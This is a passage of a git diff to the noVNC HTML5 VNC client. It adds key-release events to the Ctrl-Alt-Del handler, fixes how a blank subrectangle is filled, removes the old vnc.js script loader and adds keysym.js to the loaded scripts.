+ arr = arr.concat(RFB.messages.keyEvent(XK_Delete, 0));
+ arr = arr.concat(RFB.messages.keyEvent(XK_Alt_L, 0));
+ arr = arr.concat(RFB.messages.keyEvent(XK_Control_L, 0));
this._sock.send(arr);
},
@@ -1496,8 +1496,7 @@ var RFB;
// Weird: ignore blanks are RAW
Util.Debug(" Ignoring blank after RAW");
} else {
- this._display.fillRect(x, y, w, h, rQ, rQi);
- rQi += this._FBU.bytes - 1;
+ this._display.fillRect(x, y, w, h, this._FBU.background);
}
} else if (this._FBU.subencoding & 0x01) { // Raw
this._display.blitImage(x, y, w, h, rQ, rQi);
diff --git a/webclients/novnc/include/ui.js b/webclients/novnc/include/ui.js
index e869aa6..4748ff0 100644
--- a/webclients/novnc/include/ui.js
+++ b/webclients/novnc/include/ui.js
@@ -22,7 +22,7 @@ var UI;
"keysymdef.js", "keyboard.js", "input.js", "display.js",
"jsunzip.js", "rfb.js", "keysym.js"]);
- var UI = {
+ UI = {
rfb_state : 'loaded',
settingsOpen : false,
diff --git a/webclients/novnc/include/vnc.js b/webclients/novnc/include/vnc.js
deleted file mode 100644
index 7679d84..0000000
--- a/webclients/novnc/include/vnc.js
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * noVNC: HTML5 VNC client
- * Copyright (C) 2012 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
- *
- * See README.md for usage and integration instructions.
- */
-
-/*jslint evil: true */
-/*global window, document, INCLUDE_URI */
-
-/*
- * Load supporting scripts
- */
-function get_INCLUDE_URI() {
- return (typeof INCLUDE_URI !== "undefined") ? INCLUDE_URI : "include/";
-}
-
-(function () {
- "use strict";
-
- var extra = "", start, end;
-
- start = "<script src='" + get_INCLUDE_URI();
- end = "'><\/script>";
-
- // Uncomment to activate firebug lite
- //extra += "<script src='http://getfirebug.com/releases/lite/1.2/" +
- // "firebug-lite-compressed.js'><\/script>";
-
- extra += start + "util.js" + end;
- extra += start + "webutil.js" + end;
- extra += start + "base64.js" + end;
- extra += start + "websock.js" + end;
- extra += start + "des.js" + end;
- extra += start + "input.js" + end;
- extra += start + "display.js" + end;
- extra += start + "rfb.js" + end;
- extra += start + "jsunzip.js" + end;
-
- document.write(extra);
-}());
-
diff --git a/webclients/novnc/vnc_auto.html b/webclients/novnc/vnc_auto.html
index ff376fe..b05024e 100644
--- a/webclients/novnc/vnc_auto.html
+++ b/webclients/novnc/vnc_auto.html
@@ -77,7 +77,7 @@
// Load supporting scripts
Util.load_scripts(["webutil.js", "base64.js", "websock.js", "des.js",
"keysymdef.js", "keyboard.js", "input.js", "display.js",
- "jsunzip.js", "rfb.js"]);
+ "jsunzip.js", "rfb.js", "keysym.js"]);
var rfb;